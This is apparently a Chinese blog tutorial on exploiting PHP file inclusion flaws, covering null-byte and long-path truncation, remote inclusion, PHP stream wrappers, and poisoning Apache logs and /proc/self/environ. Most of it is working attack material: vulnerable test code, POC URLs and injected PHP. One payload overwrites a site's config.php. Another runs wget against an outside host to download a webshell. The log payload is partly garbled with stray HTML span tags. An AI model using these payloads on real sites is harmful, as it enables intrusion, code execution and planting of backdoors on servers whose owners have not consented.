文件包含漏洞的利用
1. 本地包含
1.1普通本地包含
只要网站支持上传,上传任意后缀文件,只要其中包含一句话,包含即可执行
测试代码:
<?php include_once($_GET['f']); ?>
POC
http://127.0.0.1/test/123.php?f=test.txt
1.2截断本地包含
因为服务器代码规定了后缀,所以不能为所欲为的包含文件。
①、%00截断(在Magic_quote_gpc为off的情况下才可以使用)
利用方法就是这样:
http://127.0.0.1/test/123.php?f=test.txt%00
②、长文件名截断(因为windows和linux的文件名长度是有限制的,超过其长度的会被忽略)
通常情况下windows的截断长度为260,linux的长度为4096,这一不用在意具体长度,只要把需要截断的字符串挤到后面就可以了,windows在文件名后加/. 或 \.都是可以的。
测试用的代码:
<?php
// 1. 初始化
$ch = curl_init();
// 2. 设置选项,包括URL
$a='';
for($i=0;$i<126;$i++){
$a .= '/.';
}
$url="http://127.0.0.1/test/123.php?f=test.txt".$a;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/4");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,true);
// 3. 执行并获取HTML文档内容
$output = curl_exec($ch);
// 4. 释放curl句柄
curl_close($ch);
?>
测试代码:
<?php include_once($_GET['f'].".php"); ?>
POC
http://127.0.0.1/test/123.php?f=test.txt/././.很多很多次.````````````````
2. 远程包含
必须是allow_url_include=On的时候才能使用,不过他在默认情况下是关闭的
2.1普通远程包含
http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt
用法和本地包含一样,只需要把本地路径换成url即可
2.2截断远程包含
url的话就可以随意发挥了,把不想要的扔到参数里面就好了,非常简单
http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt?id=
http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt?
POC
这几个POC大多都与PHP的wrapper有关,详情可以看这里
http://www.php.net/manual/en/wrappers.php.php
涉及到allow_url_fopen 和 allow_url_include 这两个设置,后者php.ini里面没有,需要自行添加。
详细设置在这里
http://php.net/manual/zh/filesystem.configuration.php
data:// 或者 php://input 可以在这allow_url_include关闭的情况下包含自定义数据,不过两种方法只在5.0以下是有效的,之后的版本include就会报错了,比较可惜。
①、普通利用
?file=[http|https|ftp]://websec.wordpress.com/shell.txt
(需要 allow_url_fopen=On 和 allow_url_include=On)
②、php://input
这个是php的输入流,可以读到没有处理过的POST数据,这样测试时的确可以取到完整的POST数据。
$raw = file_get_contents('php://input','r');
echo $raw;
这样在allow_url_include=Off会报错了
include_once("php://input");
③、php://filter
利用主要是利用了resource和vonvert,这样可以读取到php的代码。
@readfile("php://filter/convert.base64-encode/resource=test.txt");
这样也是可以的
@readfile("php://filter/convert.base64-encode/resource=http://127.0.0.1/test/test.txt");
include的状况和php://input类似
④、data URIs
情况和以上两种一样,在低版本才能发挥效果
echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');
include("data://text/plain;base64,SSBsb3ZlIFBIUAo=");
⑤、php://fd
这个在5.3.6中增加的新wrapper,据说可以绕过allow_url_include进行包含。
3. 全局变量覆盖型包含
3.1利用技巧
(1)Apache错误日志上传一句话
这个技巧解决了,本地包含不能上传马的问题,还是利用熟悉的Apache错误日志。
①、首先在配置文件中找到Apache日志的存放目录ErrorLog ../logs/apache_error.log
http://127.0.0.1/test/123.php?f=..\..\apache2\conf\httpd.conf
②、之后构造一个错误的访问,使其被记录到日志中,这里注意浏览器会自动给url里面的字符编码,这里需要用其他方式模拟提交。
http://127.0.0.1/test/<?php echo hacked ?>
③、最后包含日志文件,之前写入的php代码就会被执行
有的时候日志文件太大导致页面无相应,可以写入这一句,实际写入时不要忘记加转义符
<?$fp=fopen("/homeirtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<span style="font-family: Arial, Helvetica, sans-serif;"><?php echo hacked ?></span><span style="font-family: Arial, Helvetica, sans-serif;">");fclose($fp);?></span>
之后包含日志文件,一句话就被写到了/www/shell.php这个目录
(2)Linux环境变量包含一句话
原理是包含/proc/self/environ,这里会有用户访问web的session信息,其中也会包含user-agent的参数,这个参数你浏览器名称的参数。而这个参数在我们客户端是可以修改的,所以说想个办法修改user-agen,比如修改成
<?system('wget http://81sec.com/shell.txt -O shell.php');?>
然后提交一个,包含/proc/self/environ的请求就可以了。
发表吐槽
你肿么看?
既然没有吐槽,那就赶紧抢沙发吧!